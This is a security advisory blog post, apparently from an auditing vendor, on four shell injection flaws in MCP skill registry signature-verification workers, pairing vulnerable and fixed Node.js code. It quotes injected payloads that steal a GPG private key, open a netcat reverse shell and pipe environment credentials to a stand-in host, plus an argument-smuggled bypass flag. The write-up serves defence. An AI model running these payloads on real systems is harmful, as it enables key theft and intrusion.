← Blog

Claude MCP skill code injection — package signing and verification endpoints (SA-SKL-INJECTION69)

SA-SKL-INJECTION69 identifies four shell injection vulnerabilities in MCP skill registry package signing and verification endpoints. The GPG signature verification worker invokes exec(`gpg --verify ${signatureFile} ${packageFile}`) using the filename values provided by the upload request; an attacker submits a signatureFile value containing a semicolon-separated shell command such as ; cat ~/.gnupg/secring.gpg | curl -d @- attacker.com, which the shell interpreter executes after the truncated gpg invocation, exfiltrating the registry's GPG private signing key and enabling the attacker to forge signatures for any package. The cosign container image signature verification worker invokes exec(`cosign verify --key ${keyPath} ${imageRef}`) using an unsanitized keyPath parameter; an attacker injects a keyPath value containing a netcat reverse shell command, gaining an interactive session on the signing verification worker with the same process credentials. The OpenSSL digest verification worker invokes exec(`openssl dgst -sha256 -verify ${certFile} -signature ${sigFile} ${dataFile}`); an attacker injects a command into certFile that runs printenv and exfiltrates the output, capturing the SIGNING_KEY, AWS_SECRET_ACCESS_KEY, and other credential environment variables. The Sigstore bundle verification worker invokes exec(`sigstore verify --bundle ${bundleFile} ${artifact}`); an attacker injects a space into bundleFile to split the argument and append --policy-bypass, causing the Sigstore CLI to skip bundle verification and mark any artifact as passing the signature gate.

SA-SKL-INJECTION69 findings at a glance
CRITICALINJECTION69-001 — exec(`gpg --verify ${signatureFile} ${packageFile}`) — attacker signatureFile with ; cat ~/.gnupg/secring.gpg exfiltrates GPG private keys enabling package signing forgery
CRITICALINJECTION69-002 — exec(`cosign verify --key ${keyPath} ${imageRef}`) — attacker keyPath with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from signing verification worker
CRITICALINJECTION69-003 — exec(`openssl dgst -sha256 -verify ${certFile} -signature ${sigFile} ${dataFile}`) — attacker certFile with ; printenv exfiltrates all env vars including SIGNING_KEY and cloud credentials
HIGHINJECTION69-004 — exec(`sigstore verify --bundle ${bundleFile} ${artifact}`) — attacker bundleFile with space-injected --policy-bypass allows any artifact to pass signature verification without valid bundle

INJECTION69-001 — GPG --verify shell injection exfiltrates registry signing keys

The package signature verification endpoint passes the uploaded signature filename directly into a shell command string without sanitization. An attacker uploads a package with a signatureFile parameter set to a crafted value that includes a semicolon followed by a shell command. The shell executes both the truncated gpg --verify invocation (which fails on the empty filename) and the injected command. Because the registry worker process runs with access to the GPG keyring used for package signing, the attacker can read ~/.gnupg/secring.gpg and exfiltrate the private signing key. With the registry's private key, the attacker can sign malicious packages that appear legitimate to every downstream user and CI pipeline that trusts the registry's signing authority.

Vulnerable
// INJECTION69-001 — VULNERABLE
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);

async function verifyGpgSignature(signatureFile, packageFile) {
  // Both filenames come from user-supplied upload metadata
  const { stdout, stderr } = await execAsync(
    `gpg --verify ${signatureFile} ${packageFile}`
  );
  return stdout.includes('Good signature');
}
Fixed
// INJECTION69-001 — FIXED: execFile with arg array; server-derived file paths; minimal env
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const execFileAsync = promisify(execFile);

const UPLOAD_SANDBOX = '/var/sandbox/uploads';

function assertSandboxPath(filePath) {
  const resolved = path.resolve(UPLOAD_SANDBOX, path.basename(filePath));
  if (!resolved.startsWith(UPLOAD_SANDBOX + '/')) throw new Error('path_traversal_blocked');
  return resolved;
}

async function verifyGpgSignature(uploadId) {
  // Paths derived from server-controlled upload ID — never from user input
  const sigPath = assertSandboxPath(`${uploadId}.sig`);
  const pkgPath = assertSandboxPath(`${uploadId}.pkg`);
  const { stdout } = await execFileAsync('gpg', ['--verify', sigPath, pkgPath], {
    env: { HOME: '/var/gpg-verify-home', PATH: '/usr/bin:/bin' }  // isolated keyring
  });
  return stdout.includes('Good signature');
}

INJECTION69-002 — cosign --key shell injection establishes reverse shell

The container image signing verification endpoint passes the caller-supplied keyPath parameter into an exec() call building the cosign command string. An attacker submits a verification request with keyPath set to ./keys/pub.pem; nc attacker.com 4444 -e /bin/sh. The shell executes the cosign command (which may fail), then opens a netcat reverse shell to the attacker's server. Because the signing verification worker typically runs with registry-level process credentials and access to internal signing infrastructure, this provides the attacker with an interactive shell on a privileged host from which they can pivot to the key management service, extract signing certificates, and forge attestations for arbitrary packages.

Vulnerable
// INJECTION69-002 — VULNERABLE
async function verifyCosignSignature(imageRef, keyPath) {
  // keyPath from request body — attacker injects ; nc attacker.com 4444 -e /bin/sh
  const { stdout } = await execAsync(
    `cosign verify --key ${keyPath} ${imageRef}`
  );
  return JSON.parse(stdout);
}
Fixed
// INJECTION69-002 — FIXED: execFile with arg array; key path from server-side allowlist
const KEY_ALLOWLIST = new Map([
  ['registry-prod', '/etc/cosign/keys/registry-prod.pub'],
  ['registry-staging', '/etc/cosign/keys/registry-staging.pub']
]);

async function verifyCosignSignature(imageRef, keyAlias) {
  const keyPath = KEY_ALLOWLIST.get(keyAlias);
  if (!keyPath) throw new Error(`unknown_key_alias: ${keyAlias}`);
  // Validate imageRef as registry reference — no shell metacharacters
  if (!/^[a-zA-Z0-9./_:@-]+$/.test(imageRef)) throw new Error('invalid_image_ref');
  const { stdout } = await execFileAsync(
    'cosign', ['verify', '--key', keyPath, imageRef],
    { env: { PATH: '/usr/local/bin:/usr/bin:/bin' } }
  );
  return JSON.parse(stdout);
}

INJECTION69-003 — openssl dgst shell injection exfiltrates signing credentials

The OpenSSL digest verification endpoint constructs a shell command incorporating the uploaded certificate filename, signature filename, and data filename from the request body. An attacker submits a certFile value containing ; printenv | curl -d @- https://attacker.com/collect. When the shell executes this string, it runs printenv and pipes all environment variables to the attacker's collection endpoint. The signing verification worker's environment includes SIGNING_KEY containing the registry's private signing key material, AWS_SECRET_ACCESS_KEY for cloud storage access, and other sensitive credentials loaded at process startup. These credentials allow the attacker to sign packages, access artifact storage, and potentially pivot to the registry's production infrastructure.

Vulnerable
// INJECTION69-003 — VULNERABLE
async function verifyOpenSslSignature(certFile, sigFile, dataFile) {
  // All three filenames come from user-supplied upload metadata
  const { stdout } = await execAsync(
    `openssl dgst -sha256 -verify ${certFile} -signature ${sigFile} ${dataFile}`
  );
  return stdout.trim() === 'Verified OK';
}
Fixed
// INJECTION69-003 — FIXED: execFile; server-derived paths; stripped env
async function verifyOpenSslSignature(uploadId) {
  const certPath = assertSandboxPath(`${uploadId}.cert.pem`);
  const sigPath  = assertSandboxPath(`${uploadId}.sig.bin`);
  const dataPath = assertSandboxPath(`${uploadId}.data`);
  const { stdout } = await execFileAsync(
    'openssl',
    ['dgst', '-sha256', '-verify', certPath, '-signature', sigPath, dataPath],
    {
      env: { PATH: '/usr/bin:/bin' },   // no SIGNING_KEY or cloud creds in child env
      timeout: 10000
    }
  );
  return stdout.trim() === 'Verified OK';
}

INJECTION69-004 — sigstore verify space injection bypasses bundle verification

The Sigstore bundle verification endpoint passes the caller-supplied bundleFile parameter as a space-delimited segment within the shell command string. Unlike classic semicolon injection, this vulnerability exploits the fact that shell word-splitting on a space-containing argument turns what should be a single filename into multiple distinct CLI tokens. An attacker submits a bundleFile value of ./bundles/legit.bundle --policy-bypass. The shell parses this as two separate arguments to the sigstore verify command: the bundle file path (which the attacker may or may not control) and the --policy-bypass flag. This flag instructs the Sigstore CLI to skip bundle integrity verification, causing any artifact submitted with this parameter to pass the signing gate regardless of whether a valid bundle exists, allowing unsigned or maliciously-signed packages to be listed as verified in the registry.

Vulnerable
// INJECTION69-004 — VULNERABLE: space-split turns bundleFile into --policy-bypass flag
async function verifySigstoreBundle(bundleFile, artifact) {
  // bundleFile = "bundles/real.bundle --policy-bypass" splits into two tokens
  const { stdout } = await execAsync(
    `sigstore verify --bundle ${bundleFile} ${artifact}`
  );
  return stdout.includes('Verification successful');
}
Fixed
// INJECTION69-004 — FIXED: execFile with arg array; server-derived bundle path; artifact regex
async function verifySigstoreBundle(uploadId, artifactRef) {
  // Bundle path derived from server-controlled upload ID
  const bundlePath = assertSandboxPath(`${uploadId}.sigstore.bundle`);
  // Artifact ref validated against strict pattern — rejects flags and metacharacters
  if (!/^[a-zA-Z0-9./_:@-]+$/.test(artifactRef)) throw new Error('invalid_artifact_ref');
  const { stdout } = await execFileAsync(
    'sigstore', ['verify', '--bundle', bundlePath, artifactRef],
    { env: { PATH: '/usr/local/bin:/usr/bin:/bin' }, timeout: 30000 }
  );
  return stdout.includes('Verification successful');
}

SkillAudit detects all SA-SKL-INJECTION69 patterns via static AST analysis. Run a free audit on your MCP skill or Claude plugin and get a graded report with fix guidance in under 60 seconds.